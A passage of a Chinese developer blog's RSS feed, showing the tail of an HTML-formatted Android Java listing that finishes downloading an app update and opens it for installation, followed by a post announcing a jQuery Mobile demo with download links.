&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fileOutputStream.flush();&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;if&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;(fileOutputStream&amp;nbsp;!=&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;null&lt;/span&gt;&lt;span style="COLOR: black"&gt;)&amp;nbsp;{&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fileOutputStream.close();&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;down();&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;catch&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;(ClientProtocolException&amp;nbsp;e)&amp;nbsp;{&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="COLOR: #008200"&gt;//&amp;nbsp;TODO&amp;nbsp;Auto-generated&amp;nbsp;catch&amp;nbsp;block&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;e.printStackTrace();&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;catch&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;(IOException&amp;nbsp;e)&amp;nbsp;{&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="COLOR: #008200"&gt;//&amp;nbsp;TODO&amp;nbsp;Auto-generated&amp;nbsp;catch&amp;nbsp;block&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;e.printStackTrace();&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}.start();&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;void&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;down()&amp;nbsp;{&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;handler.post(&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;new&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;Runnable()&amp;nbsp;{&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;public&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;void&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;run()&amp;nbsp;{&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pBar.cancel();&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;update();&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;});&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;void&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;update()&amp;nbsp;{&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Intent&amp;nbsp;intent&amp;nbsp;=&amp;nbsp;&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;new&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;Intent(Intent.ACTION_VIEW);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;intent.setDataAndType(Uri.fromFile(&lt;span style="COLOR: #7f0055; FONT-WEIGHT: bold"&gt;new&lt;/span&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;File(&lt;/span&gt;&lt;span style="COLOR: blue"&gt;"/sdcard/OA.apk"&lt;/span&gt;&lt;span style="COLOR: black"&gt;)),&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="COLOR: blue"&gt;"application/vnd.android.package-archive"&lt;/span&gt;&lt;span style="COLOR: black"&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;startActivity(intent);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li style="BORDER-LEFT: #d1d7dc 1px solid; PADDING-BOTTOM: 0px; LINE-HEIGHT: 18px; BACKGROUND-COLOR: #fafafa; MARGIN: 0px 0px 0px 38px; PADDING-LEFT: 10px; PADDING-RIGHT: 0px; FONT-SIZE: 1em; PADDING-TOP: 0px"&gt;&lt;span style="COLOR: black"&gt;}&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=254</guid><pubDate>Fri, 28 Jan 2011 01:48:08 GMT</pubDate></item><item><title>JQueryMobile 演示页面及下载</title><link>http://www.chendw.cn:8080/view.aspx?id=253</link><description>&lt;p&gt;一个基于jqueryMobile的实现。&lt;/p&gt;
&lt;p&gt;&lt;a class="thickbox" rel="gallery-plants" href="http://www.chendw.cn:8080/uploads/2010/11/bc2c70048ceb4b80bb709bd3d35e8bf6.png" target="_blank"&gt;&lt;img src="http://www.chendw.cn:8080/uploads/2010/11/bc2c70048ceb4b80bb709bd3d35e8bf6.png" alt="QQ截图未命名.png" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;demo(请使用手机访问或者用谷歌浏览器访问)：&lt;!--more--&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.chendw.cn/demos/jquerymobile" target="_blank"&gt;http://www.chendw.cn/demos/jquerymobile&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;下载：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.chendw.cn/demos/jquerymobile.rar"&gt;点击下载演示程序&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;参考：&lt;/strong&gt;&lt;/p&gt;
